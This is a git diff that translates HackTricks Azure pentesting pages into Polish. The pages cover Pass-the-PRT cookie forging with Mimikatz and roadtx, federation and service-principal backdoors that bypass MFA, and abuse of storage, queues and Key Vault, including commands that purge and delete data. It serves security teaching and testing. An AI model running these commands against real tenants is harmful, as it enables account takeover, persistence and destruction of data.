> [!NOTE] -> If you don’t see any PRT data it could be that you **don’t have any PRTs** because your device isn’t Azure AD joined or it could be you are **running an old version** of Windows 10. - -To **decrypt** the session key you need to **elevate** your privileges to **SYSTEM** to run under the computer context to be able to use the **DPAPI masterkey to decrypt it**. You can use the following commands to do so: +> Jeśli nie widzisz żadnych danych PRT, może to oznaczać, że **nie masz żadnych PRT**, ponieważ twoje urządzenie nie jest dołączone do Azure AD lub możesz **uruchamiać starą wersję** systemu Windows 10. +Aby **odszyfrować** klucz sesji, musisz **podnieść** swoje uprawnienia do **SYSTEM**, aby działać w kontekście komputera i móc użyć **klucza głównego DPAPI do odszyfrowania go**. Możesz użyć następujących poleceń, aby to zrobić: ``` token::elevate dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect ``` -
-#### Option 1 - Full Mimikatz +#### Opcja 1 - Pełny Mimikatz -- Now you want to copy both the Context value: +- Teraz chcesz skopiować zarówno wartość Context:
-- And the derived key value: +- Jak i wartość klucza pochodnego:
-- Finally you can use all this info to **generate PRT cookies**: - +- Na koniec możesz użyć wszystkich tych informacji do **generowania ciasteczek PRT**: ```bash Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT] ``` -
-- Go to [https://login.microsoftonline.com](https://login.microsoftonline.com), clear all cookies for login.microsoftonline.com and enter a new cookie. - +- Przejdź do [https://login.microsoftonline.com](https://login.microsoftonline.com), wyczyść wszystkie pliki cookie dla login.microsoftonline.com i wprowadź nowe ciasteczko. ``` Name: x-ms-RefreshTokenCredential Value: [Paste your output from above] Path: / HttpOnly: Set to True (checked) ``` - -- Then go to [https://portal.azure.com](https://portal.azure.com) +- Następnie przejdź do [https://portal.azure.com](https://portal.azure.com) > [!CAUTION] -> The rest should be the defaults. Make sure you can refresh the page and the cookie doesn’t disappear, if it does, you may have made a mistake and have to go through the process again. If it doesn’t, you should be good. +> Reszta powinna być domyślnymi ustawieniami. Upewnij się, że możesz odświeżyć stronę i ciasteczko nie znika; jeśli tak, mogłeś popełnić błąd i musisz przejść przez proces ponownie. Jeśli nie znika, powinno być w porządku. -#### Option 2 - roadrecon using PRT - -- Renew the PRT first, which will save it in `roadtx.prt`: +#### Opcja 2 - roadrecon używając PRT +- Najpierw odnowić PRT, co zapisze go w `roadtx.prt`: ```bash roadtx prt -a renew --prt --prt-sessionkey ``` - -- Now we can **request tokens** using the interactive browser with `roadtx browserprtauth`. If we use the `roadtx describe` command, we see the access token includes an MFA claim because the PRT I used in this case also had an MFA claim. - +- Teraz możemy **zażądać tokenów** za pomocą interaktywnej przeglądarki z `roadtx browserprtauth`. Jeśli użyjemy polecenia `roadtx describe`, zobaczymy, że token dostępu zawiera roszczenie MFA, ponieważ PRT, którego użyłem w tym przypadku, również miało roszczenie MFA. ```bash roadtx browserprtauth roadtx describe < .roadtools_auth ``` -
-#### Option 3 - roadrecon using derived keys - -Having the context and the derived key dumped by mimikatz, it's possible to use roadrecon to generate a new signed cookie with: +#### Opcja 3 - roadrecon używając kluczy pochodnych +Mając kontekst i klucz pochodny zrzutowany przez mimikatz, możliwe jest użycie roadrecon do wygenerowania nowego podpisanego ciasteczka z: ```bash roadrecon auth --prt-cookie --prt-context --derives-key ``` - -## References +## Odniesienia - [https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/](https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/) - [https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) - [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-persistence/README.md b/src/pentesting-cloud/azure-security/az-persistence/README.md index e418fb5e6..4dee3fb17 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/README.md +++ b/src/pentesting-cloud/azure-security/az-persistence/README.md @@ -4,52 +4,43 @@ ### Illicit Consent Grant -By default, any user can register an application in Azure AD. So you can register an application (only for the target tenant) that needs high impact permissions with admin consent (an approve it if you are the admin) - like sending mail on a user's behalf, role management etc.T his will allow us to **execute phishing attacks** that would be very **fruitful** in case of success. +Domyślnie każdy użytkownik może zarejestrować aplikację w Azure AD. Możesz więc zarejestrować aplikację (tylko dla docelowego dzierżawcy), która potrzebuje uprawnień o dużym wpływie z zgodą administratora (zatwierdź to, jeśli jesteś administratorem) - na przykład wysyłanie wiadomości e-mail w imieniu użytkownika, zarządzanie rolami itp. To pozwoli nam na **wykonywanie ataków phishingowych**, które byłyby bardzo **owocne** w przypadku sukcesu. -Moreover, you could also accept that application with your user as a way to maintain access over it. +Co więcej, możesz również zaakceptować tę aplikację jako sposób na utrzymanie dostępu do niej. ### Applications and Service Principals -With privileges of Application Administrator, GA or a custom role with microsoft.directory/applications/credentials/update permissions, we can add credentials (secret or certificate) to an existing application. +Z uprawnieniami Administratora Aplikacji, GA lub niestandardową rolą z uprawnieniami microsoft.directory/applications/credentials/update, możemy dodać poświadczenia (sekret lub certyfikat) do istniejącej aplikacji. -It's possible to **target an application with high permissions** or **add a new application** with high permissions. +Możliwe jest **celowanie w aplikację z wysokimi uprawnieniami** lub **dodanie nowej aplikacji** z wysokimi uprawnieniami. -An interesting role to add to the application would be **Privileged authentication administrator role** as it allows to **reset password** of Global Administrators. - -This technique also allows to **bypass MFA**. +Interesującą rolą do dodania do aplikacji byłaby **rola administratora autoryzacji uprzywilejowanej**, ponieważ pozwala na **resetowanie hasła** Globalnych Administratorów. +Ta technika pozwala również na **obejście MFA**. ```powershell $passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd) Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a ``` - -- For certificate based authentication - +- Dla uwierzytelniania opartego na certyfikatach ```powershell Connect-AzAccount -ServicePrincipal -Tenant -CertificateThumbprint -ApplicationId ``` +### Federation - Certyfikat podpisywania tokenów -### Federation - Token Signing Certificate - -With **DA privileges** on on-prem AD, it is possible to create and import **new Token signing** and **Token Decrypt certificates** that have a very long validity. This will allow us to **log-in as any user** whose ImuutableID we know. - -**Run** the below command as **DA on the ADFS server(s)** to create new certs (default password 'AADInternals'), add them to ADFS, disable auto rollver and restart the service: +Z **uprawnieniami DA** w lokalnym AD, możliwe jest utworzenie i zaimportowanie **nowych certyfikatów podpisywania tokenów** i **certyfikatów deszyfrowania tokenów**, które mają bardzo długi okres ważności. Pozwoli nam to **zalogować się jako dowolny użytkownik**, którego ImuutableID znamy. +**Uruchom** poniższe polecenie jako **DA na serwerze ADFS** w celu utworzenia nowych certyfikatów (domyślne hasło 'AADInternals'), dodania ich do ADFS, wyłączenia automatycznego obracania i ponownego uruchomienia usługi: ```powershell New-AADIntADFSSelfSignedCertificates ``` - -Then, update the certificate information with Azure AD: - +Następnie zaktualizuj informacje o certyfikacie w Azure AD: ```powershell Update-AADIntADFSFederationSettings -Domain cyberranges.io ``` - -### Federation - Trusted Domain +### Federation - Zaufana domena With GA privileges on a tenant, it's possible to **add a new domain** (must be verified), configure its authentication type to Federated and configure the domain to **trust a specific certificate** (any.sts in the below command) and issuer: - ```powershell # Using AADInternals ConvertTo-AADIntBackdoor -DomainName cyberranges.io @@ -60,13 +51,8 @@ Get-MsolUser | select userPrincipalName,ImmutableID # Access any cloud app as the user Open-AADIntOffice365Portal -ImmutableID qIMPTm2Q3kimHgg4KQyveA== -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA$true ``` - -## References +## Odniesienia - [https://aadinternalsbackdoor.azurewebsites.net/](https://aadinternalsbackdoor.azurewebsites.net/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md b/src/pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md index 7fda7614d..c00ab2f88 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md @@ -2,18 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -## Queue +## Kolejka -For more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../az-services/az-queue-enum.md {{#endref}} -### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/write` - -This permission allows an attacker to create or modify queues and their properties within the storage account. It can be used to create unauthorized queues, modify metadata, or change access control lists (ACLs) to grant or restrict access. This capability could disrupt workflows, inject malicious data, exfiltrate sensitive information, or manipulate queue settings to enable further attacks. +### Akcje: `Microsoft.Storage/storageAccounts/queueServices/queues/write` +To uprawnienie pozwala atakującemu na tworzenie lub modyfikowanie kolejek i ich właściwości w ramach konta magazynu. Może być używane do tworzenia nieautoryzowanych kolejek, modyfikowania metadanych lub zmiany list kontroli dostępu (ACL), aby przyznać lub ograniczyć dostęp. Ta zdolność może zakłócać przepływy pracy, wstrzykiwać złośliwe dane, eksfiltrując wrażliwe informacje lub manipulować ustawieniami kolejki, aby umożliwić dalsze ataki. ```bash az storage queue create --name --account-name @@ -21,7 +20,6 @@ az storage queue metadata update --name --metadata key1=value1 key2 az storage queue policy set --name --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name ``` - ## References - https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues @@ -29,7 +27,3 @@ az storage queue policy set --name --permissions rwd --expiry 2024- - https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md index 95dedb925..3ffb8018a 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md @@ -4,7 +4,7 @@ ## Storage Privesc -For more information about storage check: +Aby uzyskać więcej informacji na temat przechowywania, sprawdź: {{#ref}} ../az-services/az-storage.md @@ -12,34 +12,26 @@ For more information about storage check: ### Common tricks -- Keep the access keys -- Generate SAS - - User delegated are 7 days max +- Zachowaj klucze dostępu +- Wygeneruj SAS +- Użytkownik delegowany ma maksymalnie 7 dni ### Microsoft.Storage/storageAccounts/blobServices/containers/update && Microsoft.Storage/storageAccounts/blobServices/deletePolicy/write -These permissions allows the user to modify blob service properties for the container delete retention feature, which enables or configures the retention period for deleted containers. These permissions can be used for maintaining persistence to provide a window of opportunity for the attacker to recover or manipulate deleted containers that should have been permanently removed and accessing sensitive information. - +Te uprawnienia pozwalają użytkownikowi modyfikować właściwości usługi blob dla funkcji retencji usuwania kontenerów, która umożliwia lub konfiguruje okres retencji dla usuniętych kontenerów. Te uprawnienia mogą być używane do utrzymywania trwałości, aby zapewnić możliwość dla atakującego na odzyskanie lub manipulację usuniętymi kontenerami, które powinny zostać trwale usunięte oraz uzyskiwanie dostępu do wrażliwych informacji. ```bash az storage account blob-service-properties update \ - --account-name \ - --enable-container-delete-retention true \ - --container-delete-retention-days 100 +--account-name \ +--enable-container-delete-retention true \ +--container-delete-retention-days 100 ``` - ### Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action -These permissions can lead to the attacker to modify the retention policies, restoring deleted data, and accessing sensitive information. - +Te uprawnienia mogą prowadzić do tego, że atakujący zmodyfikuje polityki przechowywania, przywróci usunięte dane i uzyska dostęp do wrażliwych informacji. ```bash az storage blob service-properties delete-policy update \ - --account-name \ - --enable true \ - --days-retained 100 +--account-name \ +--enable true \ +--days-retained 100 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md index 8d020a39e..c508ca667 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md @@ -2,28 +2,24 @@ {{#include ../../../banners/hacktricks-training.md}} -## VMs persistence +## Utrzymywanie VMs -For more information about VMs check: +Aby uzyskać więcej informacji na temat VMs, sprawdź: {{#ref}} ../az-services/vms/ {{#endref}} -### Backdoor VM applications, VM Extensions & Images +### Aplikacje backdoor VM, rozszerzenia VM i obrazy -An attacker identifies applications, extensions or images being frequently used in the Azure account, he could insert his code in VM applications and extensions so every time they get installed the backdoor is executed. +Atakujący identyfikuje aplikacje, rozszerzenia lub obrazy często używane w koncie Azure, może wstawić swój kod do aplikacji i rozszerzeń VM, aby za każdym razem, gdy są instalowane, backdoor był wykonywany. -### Backdoor Instances +### Instancje backdoor -An attacker could get access to the instances and backdoor them: +Atakujący może uzyskać dostęp do instancji i wprowadzić w nich backdoor: -- Using a traditional **rootkit** for example -- Adding a new **public SSH key** (check [EC2 privesc options](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc)) -- Backdooring the **User Data** +- Używając tradycyjnego **rootkita** na przykład +- Dodając nowy **publiczny klucz SSH** (sprawdź [opcje privesc EC2](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc)) +- Wprowadzając backdoor w **Danych Użytkownika** {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md index 53b20671b..63088a93b 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md @@ -1,6 +1 @@ # Az - Post Exploitation - - - - - diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md index 9c3d0b8c6..60c4ff7f9 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md @@ -4,7 +4,7 @@ ## Storage Privesc -For more information about storage check: +Aby uzyskać więcej informacji na temat przechowywania, sprawdź: {{#ref}} ../az-services/az-storage.md @@ -12,38 +12,30 @@ For more information about storage check: ### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read -A principal with this permission will be able to **list** the blobs (files) inside a container and **download** the files which might contain **sensitive information**. - +Podmiot z tym uprawnieniem będzie mógł **wyświetlić** bloby (pliki) wewnątrz kontenera i **pobierać** pliki, które mogą zawierać **wrażliwe informacje**. ```bash # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read az storage blob list \ - --account-name \ - --container-name --auth-mode login +--account-name \ +--container-name --auth-mode login az storage blob download \ - --account-name \ - --container-name \ - -n file.txt --auth-mode login +--account-name \ +--container-name \ +-n file.txt --auth-mode login ``` - ### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write -A principal with this permission will be able to **write and overwrite files in containers** which might allow him to cause some damage or even escalate privileges (e.g. overwrite some code stored in a blob): - +Principal z tym uprawnieniem będzie mógł **zapisywać i nadpisywać pliki w kontenerach**, co może pozwolić mu na wyrządzenie szkód lub nawet eskalację uprawnień (np. nadpisanie jakiegoś kodu przechowywanego w blobie): ```bash # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write az storage blob upload \ - --account-name \ - --container-name \ - --file /tmp/up.txt --auth-mode login --overwrite +--account-name \ +--container-name \ +--file /tmp/up.txt --auth-mode login --overwrite ``` - ### \*/delete -This would allow to delete objects inside the storage account which might **interrupt some services** or make the client **lose valuable information**. +To pozwoliłoby na usunięcie obiektów wewnątrz konta magazynu, co mogłoby **przerwać niektóre usługi** lub spowodować, że klient **straci cenne informacje**. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md index b3d3cf90f..effc38848 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md @@ -4,7 +4,7 @@ File Share Post Exploitation -For more information about file shares check: +Aby uzyskać więcej informacji na temat udostępniania plików, sprawdź: {{#ref}} ../az-services/az-file-shares.md @@ -12,41 +12,33 @@ For more information about file shares check: ### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read -A principal with this permission will be able to **list** the files inside a file share and **download** the files which might contain **sensitive information**. - +Principal z tym uprawnieniem będzie mógł **wyświetlić** pliki w udostępnianiu plików i **pobrać** pliki, które mogą zawierać **wrażliwe informacje**. ```bash # List files inside an azure file share az storage file list \ - --account-name \ - --share-name \ - --auth-mode login --enable-file-backup-request-intent +--account-name \ +--share-name \ +--auth-mode login --enable-file-backup-request-intent # Download an specific file az storage file download \ - --account-name \ - --share-name \ - --path \ - --dest /path/to/down \ - --auth-mode login --enable-file-backup-request-intent +--account-name \ +--share-name \ +--path \ +--dest /path/to/down \ +--auth-mode login --enable-file-backup-request-intent ``` - ### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write, Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action -A principal with this permission will be able to **write and overwrite files in file shares** which might allow him to cause some damage or even escalate privileges (e.g. overwrite some code stored in a file share): - +Principal z tym uprawnieniem będzie mógł **zapisywać i nadpisywać pliki w udostępnionych folderach**, co może pozwolić mu na wyrządzenie szkód lub nawet eskalację uprawnień (np. nadpisanie jakiegoś kodu przechowywanego w udostępnionym folderze): ```bash az storage blob upload \ - --account-name \ - --container-name \ - --file /tmp/up.txt --auth-mode login --overwrite +--account-name \ +--container-name \ +--file /tmp/up.txt --auth-mode login --overwrite ``` - ### \*/delete -This would allow to delete file inside the shared filesystem which might **interrupt some services** or make the client **lose valuable information**. +To pozwoli na usunięcie pliku w udostępnionym systemie plików, co może **przerwać niektóre usługi** lub sprawić, że klient **straci cenne informacje**. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md index e511ad994..355fc7f03 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md @@ -1,21 +1,17 @@ -# Az - Function Apps Post Exploitation +# Az - Funkcje Aplikacji Po Eksploatacji {{#include ../../../banners/hacktricks-training.md}} -## Funciton Apps Post Exploitaiton +## Funkcje Aplikacji Po Eksploatacji -For more information about function apps check: +Aby uzyskać więcej informacji na temat funkcji aplikacji, sprawdź: {{#ref}} ../az-services/az-function-apps.md {{#endref}} -> [!CAUTION] > **Function Apps post exploitation tricks are very related to the privilege escalation tricks** so you can find all of them there: +> [!CAUTION] > **Sztuczki po eksploatacji funkcji aplikacji są ściśle związane ze sztuczkami eskalacji uprawnień**, więc możesz je wszystkie znaleźć tam: {{#ref}} ../az-privilege-escalation/az-functions-app-privesc.md {{#endref}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md index d9357b643..c4dc5dce9 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md @@ -4,7 +4,7 @@ ## Azure Key Vault -For more information about this service check: +Aby uzyskać więcej informacji na temat tej usługi, sprawdź: {{#ref}} ../az-services/keyvault.md @@ -12,27 +12,22 @@ For more information about this service check: ### Microsoft.KeyVault/vaults/secrets/getSecret/action -This permission will allow a principal to read the secret value of secrets: - +To uprawnienie pozwoli podmiotowi na odczytanie wartości sekretu sekretów: ```bash az keyvault secret show --vault-name --name # Get old version secret value az keyvault secret show --id https://.vault.azure.net/secrets// ``` - ### **Microsoft.KeyVault/vaults/certificates/purge/action** -This permission allows a principal to permanently delete a certificate from the vault. - +To uprawnienie pozwala podmiotowi na trwałe usunięcie certyfikatu z sejfu. ```bash az keyvault certificate purge --vault-name --name ``` - ### **Microsoft.KeyVault/vaults/keys/encrypt/action** -This permission allows a principal to encrypt data using a key stored in the vault. - +To uprawnienie pozwala podmiotowi na szyfrowanie danych za pomocą klucza przechowywanego w skarbcu. ```bash az keyvault key encrypt --vault-name --name --algorithm --value @@ -40,76 +35,55 @@ az keyvault key encrypt --vault-name --name --algorithm echo "HackTricks" | base64 # SGFja1RyaWNrcwo= az keyvault key encrypt --vault-name testing-1231234 --name testing --algorithm RSA-OAEP-256 --value SGFja1RyaWNrcwo= ``` - ### **Microsoft.KeyVault/vaults/keys/decrypt/action** -This permission allows a principal to decrypt data using a key stored in the vault. - +To uprawnienie pozwala podmiotowi na odszyfrowanie danych za pomocą klucza przechowywanego w skarbcu. ```bash az keyvault key decrypt --vault-name --name --algorithm --value # Example az keyvault key decrypt --vault-name testing-1231234 --name testing --algorithm RSA-OAEP-256 --value "ISZ+7dNcDJXLPR5MkdjNvGbtYK3a6Rg0ph/+3g1IoUrCwXnF791xSF0O4rcdVyyBnKRu0cbucqQ/+0fk2QyAZP/aWo/gaxUH55pubS8Zjyw/tBhC5BRJiCtFX4tzUtgTjg8lv3S4SXpYUPxev9t/9UwUixUlJoqu0BgQoXQhyhP7PfgAGsxayyqxQ8EMdkx9DIR/t9jSjv+6q8GW9NFQjOh70FCjEOpYKy9pEGdLtPTrirp3fZXgkYfIIV77TXuHHdR9Z9GG/6ge7xc9XT6X9ciE7nIXNMQGGVCcu3JAn9BZolb3uL7PBCEq+k2rH4tY0jwkxinM45tg38Re2D6CEA==" # This is the result from the previous encryption ``` - ### **Microsoft.KeyVault/vaults/keys/purge/action** -This permission allows a principal to permanently delete a key from the vault. - +To uprawnienie pozwala podmiotowi na trwałe usunięcie klucza z sejfu. ```bash az keyvault key purge --vault-name --name ``` - ### **Microsoft.KeyVault/vaults/secrets/purge/action** -This permission allows a principal to permanently delete a secret from the vault. - +To uprawnienie pozwala podmiotowi na trwałe usunięcie sekretu z sejfu. ```bash az keyvault secret purge --vault-name --name ``` - ### **Microsoft.KeyVault/vaults/secrets/setSecret/action** -This permission allows a principal to create or update a secret in the vault. - +To uprawnienie pozwala podmiotowi na utworzenie lub zaktualizowanie sekretu w skarbcu. ```bash az keyvault secret set --vault-name --name --value ``` - ### **Microsoft.KeyVault/vaults/certificates/delete** -This permission allows a principal to delete a certificate from the vault. The certificate is moved to the "soft-delete" state, where it can be recovered unless purged. - +To uprawnienie pozwala podmiotowi na usunięcie certyfikatu z sejfu. Certyfikat jest przenoszony do stanu "miękkiego usunięcia", gdzie może być odzyskany, chyba że zostanie usunięty na stałe. ```bash az keyvault certificate delete --vault-name --name ``` - ### **Microsoft.KeyVault/vaults/keys/delete** -This permission allows a principal to delete a key from the vault. The key is moved to the "soft-delete" state, where it can be recovered unless purged. - +To uprawnienie pozwala podmiotowi na usunięcie klucza z sejfu. Klucz jest przenoszony do stanu "miękkiego usunięcia", gdzie może być odzyskany, chyba że zostanie usunięty na stałe. ```bash az keyvault key delete --vault-name --name ``` - ### **Microsoft.KeyVault/vaults/secrets/delete** -This permission allows a principal to delete a secret from the vault. The secret is moved to the "soft-delete" state, where it can be recovered unless purged. - +To uprawnienie pozwala podmiotowi na usunięcie sekretu z sejfu. Sekret jest przenoszony do stanu "miękkiego usunięcia", gdzie może być odzyskany, chyba że zostanie usunięty na stałe. ```bash az keyvault secret delete --vault-name --name ``` - ### Microsoft.KeyVault/vaults/secrets/restore/action -This permission allows a principal to restore a secret from a backup. - +To uprawnienie pozwala podmiotowi na przywrócenie sekretu z kopii zapasowej. ```bash az keyvault secret restore --vault-name --file ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md index 03c59a8d5..3e0638032 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md @@ -2,9 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -## Queue +## Kolejka -For more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../az-services/az-queue-enum.md @@ -12,66 +12,53 @@ For more information check: ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/read` -An attacker with this permission can peek messages from an Azure Storage Queue. This allows the attacker to view the content of messages without marking them as processed or altering their state. This could lead to unauthorized access to sensitive information, enabling data exfiltration or gathering intelligence for further attacks. - +Atakujący z tym uprawnieniem może podglądać wiadomości z Azure Storage Queue. Umożliwia to atakującemu przeglądanie treści wiadomości bez oznaczania ich jako przetworzonych lub zmieniania ich stanu. Może to prowadzić do nieautoryzowanego dostępu do wrażliwych informacji, umożliwiając eksfiltrację danych lub zbieranie informacji wywiadowczych do dalszych ataków. ```bash az storage message peek --queue-name --account-name ``` - -**Potential Impact**: Unauthorized access to the queue, message exposure, or queue manipulation by unauthorized users or services. +**Potencjalny wpływ**: Nieautoryzowany dostęp do kolejki, ujawnienie wiadomości lub manipulacja kolejką przez nieautoryzowanych użytkowników lub usługi. ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/process/action` -With this permission, an attacker can retrieve and process messages from an Azure Storage Queue. This means they can read the message content and mark it as processed, effectively hiding it from legitimate systems. This could lead to sensitive data being exposed, disruptions in how messages are handled, or even stopping important workflows by making messages unavailable to their intended users. - +Dzięki temu uprawnieniu, atakujący może pobierać i przetwarzać wiadomości z Azure Storage Queue. Oznacza to, że mogą odczytywać treść wiadomości i oznaczać je jako przetworzone, skutecznie ukrywając je przed legalnymi systemami. Może to prowadzić do ujawnienia wrażliwych danych, zakłóceń w sposobie obsługi wiadomości, a nawet zatrzymania ważnych procesów, czyniąc wiadomości niedostępnymi dla ich zamierzonych użytkowników. ```bash az storage message get --queue-name --account-name ``` - ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/add/action` -With this permission, an attacker can add new messages to an Azure Storage Queue. This allows them to inject malicious or unauthorized data into the queue, potentially triggering unintended actions or disrupting downstream services that process the messages. - +Dzięki temu uprawnieniu, atakujący może dodać nowe wiadomości do kolejki Azure Storage. Umożliwia to wstrzykiwanie złośliwych lub nieautoryzowanych danych do kolejki, co może prowadzić do wywołania niezamierzonych działań lub zakłócenia pracy usług downstream, które przetwarzają wiadomości. ```bash az storage message put --queue-name --content "Injected malicious message" --account-name ``` - ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/write` -This permission allows an attacker to add new messages or update existing ones in an Azure Storage Queue. By using this, they could insert harmful content or alter existing messages, potentially misleading applications or causing undesired behaviors in systems that rely on the queue. - +To uprawnienie pozwala atakującemu na dodawanie nowych wiadomości lub aktualizowanie istniejących w Azure Storage Queue. Korzystając z tego, mogą wprowadzać szkodliwą treść lub zmieniać istniejące wiadomości, co może wprowadzać w błąd aplikacje lub powodować niepożądane zachowania w systemach, które polegają na kolejce. ```bash az storage message put --queue-name --content "Injected malicious message" --account-name #Update the message az storage message update --queue-name \ - --id \ - --pop-receipt \ - --content "Updated message content" \ - --visibility-timeout \ - --account-name +--id \ +--pop-receipt \ +--content "Updated message content" \ +--visibility-timeout \ +--account-name ``` - ### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/delete` -This permission allows an attacker to delete queues within the storage account. By leveraging this capability, an attacker can permanently remove queues and all their associated messages, causing significant disruption to workflows and resulting in critical data loss for applications that rely on the affected queues. This action can also be used to sabotage services by removing essential components of the system. - +To uprawnienie pozwala atakującemu na usunięcie kolejek w ramach konta magazynowego. Wykorzystując tę zdolność, atakujący może trwale usunąć kolejki i wszystkie ich powiązane wiadomości, co powoduje znaczące zakłócenia w przepływie pracy i prowadzi do krytycznej utraty danych dla aplikacji, które polegają na dotkniętych kolejkach. Ta akcja może być również używana do sabotażu usług poprzez usunięcie istotnych komponentów systemu. ```bash az storage queue delete --name --account-name ``` - ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/delete` -With this permission, an attacker can clear all messages from an Azure Storage Queue. This action removes all messages, disrupting workflows and causing data loss for systems dependent on the queue. - +Dzięki temu uprawnieniu, atakujący może usunąć wszystkie wiadomości z Azure Storage Queue. Ta akcja usuwa wszystkie wiadomości, zakłócając przepływy pracy i powodując utratę danych dla systemów zależnych od kolejki. ```bash az storage message clear --queue-name --account-name ``` - ### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/write` -This permission allows an attacker to create or modify queues and their properties within the storage account. It can be used to create unauthorized queues, modify metadata, or change access control lists (ACLs) to grant or restrict access. This capability could disrupt workflows, inject malicious data, exfiltrate sensitive information, or manipulate queue settings to enable further attacks. - +To uprawnienie pozwala atakującemu na tworzenie lub modyfikowanie kolejek i ich właściwości w ramach konta magazynu. Może być używane do tworzenia nieautoryzowanych kolejek, modyfikowania metadanych lub zmiany list kontroli dostępu (ACL), aby przyznać lub ograniczyć dostęp. Ta zdolność może zakłócić przepływy pracy, wstrzyknąć złośliwe dane, wykradać wrażliwe informacje lub manipulować ustawieniami kolejek, aby umożliwić dalsze ataki. ```bash az storage queue create --name --account-name 